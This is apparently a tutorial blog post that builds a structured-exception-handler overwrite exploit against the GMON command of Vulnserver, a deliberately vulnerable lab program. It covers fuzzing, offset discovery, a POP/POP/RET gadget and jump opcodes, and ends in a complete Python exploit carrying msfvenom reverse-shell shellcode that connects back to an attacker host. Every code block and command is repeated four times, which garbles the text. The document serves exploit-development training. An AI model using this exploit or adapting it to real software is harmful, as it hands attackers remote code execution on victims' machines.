Structured Exception Handling
SEH is a non-standard mechanism created by Microsoft to handle exceptions of applications using a uniform structure. It allows C/C++ programs using the well-known exception handling syntax (try-except-finally) used by other high-level imperative languages. Here’s an example:
__try {
....
strcpy(mybuff, myinput);
}
__except (INSUFFICIENT_MEMORY) {
my_exception_handler
__try {
....
strcpy(mybuff, myinput);
}
__except (INSUFFICIENT_MEMORY) {
my_exception_handler
__try {
....
strcpy(mybuff, myinput);
}
__except (INSUFFICIENT_MEMORY) {
my_exception_handler
__try {
....
strcpy(mybuff, myinput);
}
__except (INSUFFICIENT_MEMORY) {
my_exception_handler
As you may imply, this code will try to execute strcpy(), and if it fails because INSUFFICIENT_MEMORY, it will execute my_exception_handler().
As there may be many exceptions, some explicitly declared by the application and other by the OS, the handlers are tied together by a chain of _EXCEPTION_REGISTRATION_RECORD structures, the last one (identified by FFFFFFFF) being the default handler.
When an exception occurs, the OS will walk the SEH chain, finding which of them can handle that exception. If none of the handlers have that exception registered, the default handler (FFFFFFFF) will be triggered.
The structure of _EXCEPTION_REGISTRATION_RECORD is:
typedef struct _EXCEPTION_REGISTRATION_RECORD
{
PEXCEPTION_REGISTRATION_RECORD Next;
PEXCEPTION_DISPOSITION Handler;
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD
typedef struct _EXCEPTION_REGISTRATION_RECORD
{
PEXCEPTION_REGISTRATION_RECORD Next;
PEXCEPTION_DISPOSITION Handler;
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD
typedef struct _EXCEPTION_REGISTRATION_RECORD
{
PEXCEPTION_REGISTRATION_RECORD Next;
PEXCEPTION_DISPOSITION Handler;
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD
typedef struct _EXCEPTION_REGISTRATION_RECORD
{
PEXCEPTION_REGISTRATION_RECORD Next;
PEXCEPTION_DISPOSITION Handler;
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD
Here the Next parameter is a pointer to the next exception handler, also called nSEH, and the Handler parameter is a pointer to the handler itself. We can see the exception handler’s chain on a debugger:

And on the stack, it is shown as:

More information on SEH can be found on Microsoft’s site.
SEH exploiting
To oversimplify, the main goal of exploiting a program using SEH is to have the ability to overwrite the exception handler pointer (my_exception_handler() in our example) of the vulnerable function with a pointer to our controlled code.
Some things must be in place for us to successfully exploit an application using SEH:
The application must have SEH built-in. This is a compile-time option.
Our buffer will be allowed to pass far enough in the stack frame to reach the function’s SEH handler.
The application must be compiled with SafeSEH=Off.
SafeSEH is a mechanism created since Windows XP that statically defines the list of the allowed exception handlers, and if the application tries to call something different, a crash will happen.
Ok, now with that summary of SEH, let’s get our hands dirty.
Fuzzing GMON
As with the other Vulnserver commands, the GMON command takes a single parameter, so, we can reuse our Spike fuzz template:
s_string("GMON ");
s_string_variable("*"
s_string("GMON ");
s_string_variable("*"
s_string("GMON ");
s_string_variable("*"
s_string("GMON ");
s_string_variable("*"
Remember that the s_string command will send an immutable string to the fuzzed protocol, and s_string_variable tells Spike to use that string as a fuzz point.
And run it:

We got the crash!
And as with the other Vulnserver commands, it seems that 5060 bytes of data triggered the crash:

We can create our first proof-of-concept exploit:
exploit.py.
import socket
HOST = '192.168.0.20'
PORT = 9999
PAYLOAD = (
b'GMON /.:/' +
b'A' * 5000
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)import socket
HOST = '192.168.0.20'
PORT = 9999
PAYLOAD = (
b'GMON /.:/' +
b'A' * 5000
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)import socket
HOST = '192.168.0.20'
PORT = 9999
PAYLOAD = (
b'GMON /.:/' +
b'A' * 5000
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)import socket
HOST = '192.168.0.20'
PORT = 9999
PAYLOAD = (
b'GMON /.:/' +
b'A' * 5000
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)Now run our exploit with vulnserver.exe attached to a debugger:

As you can see, we effectively crashed vulnserver.exe, but EIP does not seem to be mangled by our buffer.
However, if we look at the SEH chain table, we will see this:

That means that we effectively triggered an exception and overwrote the exception handler with our buffer. If we trigger the exception handler (in Immunity Debugger, it’s done with Shift+F9) this will happen:

We control EIP! That means that we have control over the process execution flow again.
We can now exploit this.
Exploiting
We first need to find the exact offset on where the SEH handler gets overwritten. We can do that by creating a cyclic pattern using pattern_create.rb from Metasploit:
Let’s add that pattern to our exploit:
import socket
HOST = '192.168.0.20'
PORT = 9999
PAYLOAD = (
b'GMON /.:/' +
b'<insert pattern here>'
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)import socket
HOST = '192.168.0.20'
PORT = 9999
PAYLOAD = (
b'GMON /.:/' +
b'<insert pattern here>'
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)import socket
HOST = '192.168.0.20'
PORT = 9999
PAYLOAD = (
b'GMON /.:/' +
b'<insert pattern here>'
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)import socket
HOST = '192.168.0.20'
PORT = 9999
PAYLOAD = (
b'GMON /.:/' +
b'<insert pattern here>'
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)And run it:

As you can see, the handler was overwritten with 346F4533. To find the offset in which the SEH handler gets overwritten, we can use pattern_offset.rb:
$ msf-pattern_offset -q 346F4533
[*]
$ msf-pattern_offset -q 346F4533
[*]
$ msf-pattern_offset -q 346F4533
[*]
$ msf-pattern_offset -q 346F4533
[*]
Great, the offset on which the SEH handler starts to be overwritten is 3551.
To check that offset, we can inject:
3551 A characters
4 B characters
5000 - 3551 - 4 = 1445 C characters
If the SEH handler gets overwritten with our B buffer, we got it right. This is our updated exploit:
import socket
HOST = '192.168.0.20'
PORT = 9999
PAYLOAD = (
b'GMON /.:/' +
b'A' * 3551 +
b'B' * 4 +
b'C' * 1445
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)import socket
HOST = '192.168.0.20'
PORT = 9999
PAYLOAD = (
b'GMON /.:/' +
b'A' * 3551 +
b'B' * 4 +
b'C' * 1445
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)import socket
HOST = '192.168.0.20'
PORT = 9999
PAYLOAD = (
b'GMON /.:/' +
b'A' * 3551 +
b'B' * 4 +
b'C' * 1445
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)import socket
HOST = '192.168.0.20'
PORT = 9999
PAYLOAD = (
b'GMON /.:/' +
b'A' * 3551 +
b'B' * 4 +
b'C' * 1445
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)And the result:

Awesome!
Now, what would normally happen is to find a JMP ESP instruction.
However, let’s look at the state of the stack after triggering the exception handler:

We can see several things here:
EIP is 42424242.
There are 8 bytes between the ESP at 0104EBA0 and a pointer to our buffer at 0104EBA8.
So, if we’d run a JMP ESP, we’d land at a place in the stack which we don’t control, and exploitation would likely fail.
So we need to find a way of removing those 8 bytes off of the stack in order to redirect the execution flow to 0104EBA8 which has a pointer to our controlled buffer.
POP/POP/RET
The x86 stack is a LIFO (Last In First Out) structure where the last item pushed into the stack is the first to be popped back. Each PUSH instruction will push exactly 4 bytes into the stack, decreasing the stack pointer (ESP = ESP - 4) and every POP instruction will pop exactly 4 bytes off of the stack, increasing the stack pointer (ESP = ESP + 4).
With that in mind, and knowing that we need to remove 8 bytes of the stack to then return to 0104EBA8 which has a pointer to our controlled buffer, we need to find an address that contains a sequence of these instructions:
The first POP will remove the first 4 bytes of the stack, the next POP the other 4 bytes. The RET will place the pointer at 0104EBA8 to EIP which will redirect the execution flow to our buffer.
We can find those 3 instructions using many ways. I will use mona.py:
This will tell mona.py to find POP/POP/RET instruction sequences and omit addresses with null characters (-cp nonull), omit addresses on modules compiled with SafeSEH (-cm safeseh=off), and omit addresses on modules of the OS (-o).

And we got 12 different options. We can choose any of those. I will choose the sequence at 625011FB just because :)
We can now update our exploit with that address:
import socket
import struct
HOST = '192.168.0.20'
PORT = 9999
PAYLOAD = (
b'GMON /.:/' +
b'A' * 3551 +
struct.pack('<L', 0x625011FB) +
b'C' * 1445
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)import socket
import struct
HOST = '192.168.0.20'
PORT = 9999
PAYLOAD = (
b'GMON /.:/' +
b'A' * 3551 +
struct.pack('<L', 0x625011FB) +
b'C' * 1445
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)import socket
import struct
HOST = '192.168.0.20'
PORT = 9999
PAYLOAD = (
b'GMON /.:/' +
b'A' * 3551 +
struct.pack('<L', 0x625011FB) +
b'C' * 1445
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)import socket
import struct
HOST = '192.168.0.20'
PORT = 9999
PAYLOAD = (
b'GMON /.:/' +
b'A' * 3551 +
struct.pack('<L', 0x625011FB) +
b'C' * 1445
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)And run it:

Weeeeeeeh! We overwrote the SEH handler, triggered the exception, and redirected to a POP/POP/RET sequence that returned to our controlled buffer!
However…!
We landed only 4 bytes before our injected POP/POP/RET address. Remember the _EXCEPTION_REGISTRATION_RECORD structure? It has 2 members: the SEH handler, which we are overwriting with the POP/POP/RET address, and the pointer to the next exception handler, also called nSEH. Well, we landed at nSEH.
However, just after the injected address there’s a good 43 bytes buffer, and before nSEH we had our 3500+ bytes buffer of A.
So, what’s next? That’s right! We must jump around again!
Jump around
We only have 4 bytes to perform our first jump. Fortunately for us, short jumps are only 2 bytes long.
We must perform a short jump of at least 8 bytes to pass over our injected POP/POP/RET address and land on our C buffer. We can get the needed opcodes using nasm_shell.rb:
Fun fact: Note that we told to perform a 10 byte (0xa) jump, and the returned opcode was EB08. It’s because the JMP will calculate the offset including the length of the JMP instruction, which is 2 bytes.
OK, with our short jump opcode we can update our exploit:
import socket
import struct
HOST = '192.168.0.20'
PORT = 9999
PAYLOAD = (
b'GMON /.:/' +
b'A' * (3551 - 4) +
b'\xeb\x08' +
b'\x90\x90' +
struct.pack('<L', 0x625011FB) +
b'C' * 1445
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)import socket
import struct
HOST = '192.168.0.20'
PORT = 9999
PAYLOAD = (
b'GMON /.:/' +
b'A' * (3551 - 4) +
b'\xeb\x08' +
b'\x90\x90' +
struct.pack('<L', 0x625011FB) +
b'C' * 1445
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)import socket
import struct
HOST = '192.168.0.20'
PORT = 9999
PAYLOAD = (
b'GMON /.:/' +
b'A' * (3551 - 4) +
b'\xeb\x08' +
b'\x90\x90' +
struct.pack('<L', 0x625011FB) +
b'C' * 1445
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)import socket
import struct
HOST = '192.168.0.20'
PORT = 9999
PAYLOAD = (
b'GMON /.:/' +
b'A' * (3551 - 4) +
b'\xeb\x08' +
b'\x90\x90' +
struct.pack('<L', 0x625011FB) +
b'C' * 1445
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)And see if we could effectively jump over the SEH handler:

es! We are past our SEH handler. Now we have enough room of bytes to perform a long jump back to the start of our A buffer. With the debugger’s help, we get the needed offset by simply telling it to jump to the start of our A buffer and letting it calculate the offset.

As you can see, the resultant bytes are E9 16 F2 FF FF.
Let’s update our exploit with that:
import socket
import struct
HOST = '192.168.0.20'
PORT = 9999
PAYLOAD = (
b'GMON /.:/' +
b'A' * (3551 - 4) +
b'\xeb\x08' +
b'\x90\x90' +
struct.pack('<L', 0x625011FB) +
b'C' * 2 +
b'\xe9\x16\xf2\xff\xff' +
b'C' * (1445 - 2 - 5)
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)import socket
import struct
HOST = '192.168.0.20'
PORT = 9999
PAYLOAD = (
b'GMON /.:/' +
b'A' * (3551 - 4) +
b'\xeb\x08' +
b'\x90\x90' +
struct.pack('<L', 0x625011FB) +
b'C' * 2 +
b'\xe9\x16\xf2\xff\xff' +
b'C' * (1445 - 2 - 5)
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)import socket
import struct
HOST = '192.168.0.20'
PORT = 9999
PAYLOAD = (
b'GMON /.:/' +
b'A' * (3551 - 4) +
b'\xeb\x08' +
b'\x90\x90' +
struct.pack('<L', 0x625011FB) +
b'C' * 2 +
b'\xe9\x16\xf2\xff\xff' +
b'C' * (1445 - 2 - 5)
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)import socket
import struct
HOST = '192.168.0.20'
PORT = 9999
PAYLOAD = (
b'GMON /.:/' +
b'A' * (3551 - 4) +
b'\xeb\x08' +
b'\x90\x90' +
struct.pack('<L', 0x625011FB) +
b'C' * 2 +
b'\xe9\x16\xf2\xff\xff' +
b'C' * (1445 - 2 - 5)
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)And check it:

Great! All that’s left is to insert a shellcode. Let’s do that.
Getting shell
We can create a reverse shellcode using msfvenom from Metasploit:
$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.18 LPORT=4444 EXITFUNC=seh -f python -v SHELL -b '\x00'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-]
$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.18 LPORT=4444 EXITFUNC=seh -f python -v SHELL -b '\x00'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-]
$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.18 LPORT=4444 EXITFUNC=seh -f python -v SHELL -b '\x00'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-]
$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.18 LPORT=4444 EXITFUNC=seh -f python -v SHELL -b '\x00'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-]
And with that, we can have the final exploit:
import socket
import struct
HOST = '192.168.0.20'
PORT = 9999
SHELL = b""
SHELL += b"\xba\x26\x9f\x12\x98\xda\xda\xd9\x74\x24\xf4\x58"
SHELL += b"\x33\xc9\xb1\x52\x83\xc0\x04\x31\x50\x0e\x03\x76"
SHELL += b"\x91\xf0\x6d\x8a\x45\x76\x8d\x72\x96\x17\x07\x97"
SHELL += b"\xa7\x17\x73\xdc\x98\xa7\xf7\xb0\x14\x43\x55\x20"
SHELL += b"\xae\x21\x72\x47\x07\x8f\xa4\x66\x98\xbc\x95\xe9"
SHELL += b"\x1a\xbf\xc9\xc9\x23\x70\x1c\x08\x63\x6d\xed\x58"
SHELL += b"\x3c\xf9\x40\x4c\x49\xb7\x58\xe7\x01\x59\xd9\x14"
SHELL += b"\xd1\x58\xc8\x8b\x69\x03\xca\x2a\xbd\x3f\x43\x34"
SHELL += b"\xa2\x7a\x1d\xcf\x10\xf0\x9c\x19\x69\xf9\x33\x64"
SHELL += b"\x45\x08\x4d\xa1\x62\xf3\x38\xdb\x90\x8e\x3a\x18"
SHELL += b"\xea\x54\xce\xba\x4c\x1e\x68\x66\x6c\xf3\xef\xed"
SHELL += b"\x62\xb8\x64\xa9\x66\x3f\xa8\xc2\x93\xb4\x4f\x04"
SHELL += b"\x12\x8e\x6b\x80\x7e\x54\x15\x91\xda\x3b\x2a\xc1"
SHELL += b"\x84\xe4\x8e\x8a\x29\xf0\xa2\xd1\x25\x35\x8f\xe9"
SHELL += b"\xb5\x51\x98\x9a\x87\xfe\x32\x34\xa4\x77\x9d\xc3"
SHELL += b"\xcb\xad\x59\x5b\x32\x4e\x9a\x72\xf1\x1a\xca\xec"
SHELL += b"\xd0\x22\x81\xec\xdd\xf6\x06\xbc\x71\xa9\xe6\x6c"
SHELL += b"\x32\x19\x8f\x66\xbd\x46\xaf\x89\x17\xef\x5a\x70"
SHELL += b"\xf0\xd0\x33\x7a\x12\xb9\x41\x7a\x03\x65\xcf\x9c"
SHELL += b"\x49\x85\x99\x37\xe6\x3c\x80\xc3\x97\xc1\x1e\xae"
SHELL += b"\x98\x4a\xad\x4f\x56\xbb\xd8\x43\x0f\x4b\x97\x39"
SHELL += b"\x86\x54\x0d\x55\x44\xc6\xca\xa5\x03\xfb\x44\xf2"
SHELL += b"\x44\xcd\x9c\x96\x78\x74\x37\x84\x80\xe0\x70\x0c"
SHELL += b"\x5f\xd1\x7f\x8d\x12\x6d\xa4\x9d\xea\x6e\xe0\xc9"
SHELL += b"\xa2\x38\xbe\xa7\x04\x93\x70\x11\xdf\x48\xdb\xf5"
SHELL += b"\xa6\xa2\xdc\x83\xa6\xee\xaa\x6b\x16\x47\xeb\x94"
SHELL += b"\x97\x0f\xfb\xed\xc5\xaf\x04\x24\x4e\xd1\xf5\xf4"
SHELL += b"\x5b\x46\xac\x6d\x26\x0a\x4f\x58\x65\x33\xcc\x68"
SHELL += b"\x16\xc0\xcc\x19\x13\x8c\x4a\xf2\x69\x9d\x3e\xf4"
SHELL += b"\xde\x9e\x6a"
PAYLOAD = (
b'GMON /.:/' +
SHELL +
b'A' * (3551 - 4 - len(SHELL)) +
b'\xeb\x08' +
b'\x90\x90' +
struct.pack('<L', 0x625011FB) +
b'C' * 2 +
b'\xe9\x16\xf2\xff\xff' +
b'C' * (1445 - 2 - 5)
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)import socket
import struct
HOST = '192.168.0.20'
PORT = 9999
SHELL = b""
SHELL += b"\xba\x26\x9f\x12\x98\xda\xda\xd9\x74\x24\xf4\x58"
SHELL += b"\x33\xc9\xb1\x52\x83\xc0\x04\x31\x50\x0e\x03\x76"
SHELL += b"\x91\xf0\x6d\x8a\x45\x76\x8d\x72\x96\x17\x07\x97"
SHELL += b"\xa7\x17\x73\xdc\x98\xa7\xf7\xb0\x14\x43\x55\x20"
SHELL += b"\xae\x21\x72\x47\x07\x8f\xa4\x66\x98\xbc\x95\xe9"
SHELL += b"\x1a\xbf\xc9\xc9\x23\x70\x1c\x08\x63\x6d\xed\x58"
SHELL += b"\x3c\xf9\x40\x4c\x49\xb7\x58\xe7\x01\x59\xd9\x14"
SHELL += b"\xd1\x58\xc8\x8b\x69\x03\xca\x2a\xbd\x3f\x43\x34"
SHELL += b"\xa2\x7a\x1d\xcf\x10\xf0\x9c\x19\x69\xf9\x33\x64"
SHELL += b"\x45\x08\x4d\xa1\x62\xf3\x38\xdb\x90\x8e\x3a\x18"
SHELL += b"\xea\x54\xce\xba\x4c\x1e\x68\x66\x6c\xf3\xef\xed"
SHELL += b"\x62\xb8\x64\xa9\x66\x3f\xa8\xc2\x93\xb4\x4f\x04"
SHELL += b"\x12\x8e\x6b\x80\x7e\x54\x15\x91\xda\x3b\x2a\xc1"
SHELL += b"\x84\xe4\x8e\x8a\x29\xf0\xa2\xd1\x25\x35\x8f\xe9"
SHELL += b"\xb5\x51\x98\x9a\x87\xfe\x32\x34\xa4\x77\x9d\xc3"
SHELL += b"\xcb\xad\x59\x5b\x32\x4e\x9a\x72\xf1\x1a\xca\xec"
SHELL += b"\xd0\x22\x81\xec\xdd\xf6\x06\xbc\x71\xa9\xe6\x6c"
SHELL += b"\x32\x19\x8f\x66\xbd\x46\xaf\x89\x17\xef\x5a\x70"
SHELL += b"\xf0\xd0\x33\x7a\x12\xb9\x41\x7a\x03\x65\xcf\x9c"
SHELL += b"\x49\x85\x99\x37\xe6\x3c\x80\xc3\x97\xc1\x1e\xae"
SHELL += b"\x98\x4a\xad\x4f\x56\xbb\xd8\x43\x0f\x4b\x97\x39"
SHELL += b"\x86\x54\x0d\x55\x44\xc6\xca\xa5\x03\xfb\x44\xf2"
SHELL += b"\x44\xcd\x9c\x96\x78\x74\x37\x84\x80\xe0\x70\x0c"
SHELL += b"\x5f\xd1\x7f\x8d\x12\x6d\xa4\x9d\xea\x6e\xe0\xc9"
SHELL += b"\xa2\x38\xbe\xa7\x04\x93\x70\x11\xdf\x48\xdb\xf5"
SHELL += b"\xa6\xa2\xdc\x83\xa6\xee\xaa\x6b\x16\x47\xeb\x94"
SHELL += b"\x97\x0f\xfb\xed\xc5\xaf\x04\x24\x4e\xd1\xf5\xf4"
SHELL += b"\x5b\x46\xac\x6d\x26\x0a\x4f\x58\x65\x33\xcc\x68"
SHELL += b"\x16\xc0\xcc\x19\x13\x8c\x4a\xf2\x69\x9d\x3e\xf4"
SHELL += b"\xde\x9e\x6a"
PAYLOAD = (
b'GMON /.:/' +
SHELL +
b'A' * (3551 - 4 - len(SHELL)) +
b'\xeb\x08' +
b'\x90\x90' +
struct.pack('<L', 0x625011FB) +
b'C' * 2 +
b'\xe9\x16\xf2\xff\xff' +
b'C' * (1445 - 2 - 5)
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)import socket
import struct
HOST = '192.168.0.20'
PORT = 9999
SHELL = b""
SHELL += b"\xba\x26\x9f\x12\x98\xda\xda\xd9\x74\x24\xf4\x58"
SHELL += b"\x33\xc9\xb1\x52\x83\xc0\x04\x31\x50\x0e\x03\x76"
SHELL += b"\x91\xf0\x6d\x8a\x45\x76\x8d\x72\x96\x17\x07\x97"
SHELL += b"\xa7\x17\x73\xdc\x98\xa7\xf7\xb0\x14\x43\x55\x20"
SHELL += b"\xae\x21\x72\x47\x07\x8f\xa4\x66\x98\xbc\x95\xe9"
SHELL += b"\x1a\xbf\xc9\xc9\x23\x70\x1c\x08\x63\x6d\xed\x58"
SHELL += b"\x3c\xf9\x40\x4c\x49\xb7\x58\xe7\x01\x59\xd9\x14"
SHELL += b"\xd1\x58\xc8\x8b\x69\x03\xca\x2a\xbd\x3f\x43\x34"
SHELL += b"\xa2\x7a\x1d\xcf\x10\xf0\x9c\x19\x69\xf9\x33\x64"
SHELL += b"\x45\x08\x4d\xa1\x62\xf3\x38\xdb\x90\x8e\x3a\x18"
SHELL += b"\xea\x54\xce\xba\x4c\x1e\x68\x66\x6c\xf3\xef\xed"
SHELL += b"\x62\xb8\x64\xa9\x66\x3f\xa8\xc2\x93\xb4\x4f\x04"
SHELL += b"\x12\x8e\x6b\x80\x7e\x54\x15\x91\xda\x3b\x2a\xc1"
SHELL += b"\x84\xe4\x8e\x8a\x29\xf0\xa2\xd1\x25\x35\x8f\xe9"
SHELL += b"\xb5\x51\x98\x9a\x87\xfe\x32\x34\xa4\x77\x9d\xc3"
SHELL += b"\xcb\xad\x59\x5b\x32\x4e\x9a\x72\xf1\x1a\xca\xec"
SHELL += b"\xd0\x22\x81\xec\xdd\xf6\x06\xbc\x71\xa9\xe6\x6c"
SHELL += b"\x32\x19\x8f\x66\xbd\x46\xaf\x89\x17\xef\x5a\x70"
SHELL += b"\xf0\xd0\x33\x7a\x12\xb9\x41\x7a\x03\x65\xcf\x9c"
SHELL += b"\x49\x85\x99\x37\xe6\x3c\x80\xc3\x97\xc1\x1e\xae"
SHELL += b"\x98\x4a\xad\x4f\x56\xbb\xd8\x43\x0f\x4b\x97\x39"
SHELL += b"\x86\x54\x0d\x55\x44\xc6\xca\xa5\x03\xfb\x44\xf2"
SHELL += b"\x44\xcd\x9c\x96\x78\x74\x37\x84\x80\xe0\x70\x0c"
SHELL += b"\x5f\xd1\x7f\x8d\x12\x6d\xa4\x9d\xea\x6e\xe0\xc9"
SHELL += b"\xa2\x38\xbe\xa7\x04\x93\x70\x11\xdf\x48\xdb\xf5"
SHELL += b"\xa6\xa2\xdc\x83\xa6\xee\xaa\x6b\x16\x47\xeb\x94"
SHELL += b"\x97\x0f\xfb\xed\xc5\xaf\x04\x24\x4e\xd1\xf5\xf4"
SHELL += b"\x5b\x46\xac\x6d\x26\x0a\x4f\x58\x65\x33\xcc\x68"
SHELL += b"\x16\xc0\xcc\x19\x13\x8c\x4a\xf2\x69\x9d\x3e\xf4"
SHELL += b"\xde\x9e\x6a"
PAYLOAD = (
b'GMON /.:/' +
SHELL +
b'A' * (3551 - 4 - len(SHELL)) +
b'\xeb\x08' +
b'\x90\x90' +
struct.pack('<L', 0x625011FB) +
b'C' * 2 +
b'\xe9\x16\xf2\xff\xff' +
b'C' * (1445 - 2 - 5)
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)import socket
import struct
HOST = '192.168.0.20'
PORT = 9999
SHELL = b""
SHELL += b"\xba\x26\x9f\x12\x98\xda\xda\xd9\x74\x24\xf4\x58"
SHELL += b"\x33\xc9\xb1\x52\x83\xc0\x04\x31\x50\x0e\x03\x76"
SHELL += b"\x91\xf0\x6d\x8a\x45\x76\x8d\x72\x96\x17\x07\x97"
SHELL += b"\xa7\x17\x73\xdc\x98\xa7\xf7\xb0\x14\x43\x55\x20"
SHELL += b"\xae\x21\x72\x47\x07\x8f\xa4\x66\x98\xbc\x95\xe9"
SHELL += b"\x1a\xbf\xc9\xc9\x23\x70\x1c\x08\x63\x6d\xed\x58"
SHELL += b"\x3c\xf9\x40\x4c\x49\xb7\x58\xe7\x01\x59\xd9\x14"
SHELL += b"\xd1\x58\xc8\x8b\x69\x03\xca\x2a\xbd\x3f\x43\x34"
SHELL += b"\xa2\x7a\x1d\xcf\x10\xf0\x9c\x19\x69\xf9\x33\x64"
SHELL += b"\x45\x08\x4d\xa1\x62\xf3\x38\xdb\x90\x8e\x3a\x18"
SHELL += b"\xea\x54\xce\xba\x4c\x1e\x68\x66\x6c\xf3\xef\xed"
SHELL += b"\x62\xb8\x64\xa9\x66\x3f\xa8\xc2\x93\xb4\x4f\x04"
SHELL += b"\x12\x8e\x6b\x80\x7e\x54\x15\x91\xda\x3b\x2a\xc1"
SHELL += b"\x84\xe4\x8e\x8a\x29\xf0\xa2\xd1\x25\x35\x8f\xe9"
SHELL += b"\xb5\x51\x98\x9a\x87\xfe\x32\x34\xa4\x77\x9d\xc3"
SHELL += b"\xcb\xad\x59\x5b\x32\x4e\x9a\x72\xf1\x1a\xca\xec"
SHELL += b"\xd0\x22\x81\xec\xdd\xf6\x06\xbc\x71\xa9\xe6\x6c"
SHELL += b"\x32\x19\x8f\x66\xbd\x46\xaf\x89\x17\xef\x5a\x70"
SHELL += b"\xf0\xd0\x33\x7a\x12\xb9\x41\x7a\x03\x65\xcf\x9c"
SHELL += b"\x49\x85\x99\x37\xe6\x3c\x80\xc3\x97\xc1\x1e\xae"
SHELL += b"\x98\x4a\xad\x4f\x56\xbb\xd8\x43\x0f\x4b\x97\x39"
SHELL += b"\x86\x54\x0d\x55\x44\xc6\xca\xa5\x03\xfb\x44\xf2"
SHELL += b"\x44\xcd\x9c\x96\x78\x74\x37\x84\x80\xe0\x70\x0c"
SHELL += b"\x5f\xd1\x7f\x8d\x12\x6d\xa4\x9d\xea\x6e\xe0\xc9"
SHELL += b"\xa2\x38\xbe\xa7\x04\x93\x70\x11\xdf\x48\xdb\xf5"
SHELL += b"\xa6\xa2\xdc\x83\xa6\xee\xaa\x6b\x16\x47\xeb\x94"
SHELL += b"\x97\x0f\xfb\xed\xc5\xaf\x04\x24\x4e\xd1\xf5\xf4"
SHELL += b"\x5b\x46\xac\x6d\x26\x0a\x4f\x58\x65\x33\xcc\x68"
SHELL += b"\x16\xc0\xcc\x19\x13\x8c\x4a\xf2\x69\x9d\x3e\xf4"
SHELL += b"\xde\x9e\x6a"
PAYLOAD = (
b'GMON /.:/' +
SHELL +
b'A' * (3551 - 4 - len(SHELL)) +
b'\xeb\x08' +
b'\x90\x90' +
struct.pack('<L', 0x625011FB) +
b'C' * 2 +
b'\xe9\x16\xf2\xff\xff' +
b'C' * (1445 - 2 - 5)
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)Let’s check it:

Our shell! We are getting good at it, aren’t we?
You can download the final exploit here.
Conclusion
Exploiting applications using SEH overwriting is just a little different than the vanilla EIP overwrite. However, you must take care of the little details all the way down to get a successful exploitation. You can check different SEH-based exploits at the Vulnserver LTER, the QuickZIP exploiting and the Netscanner exploiting articles.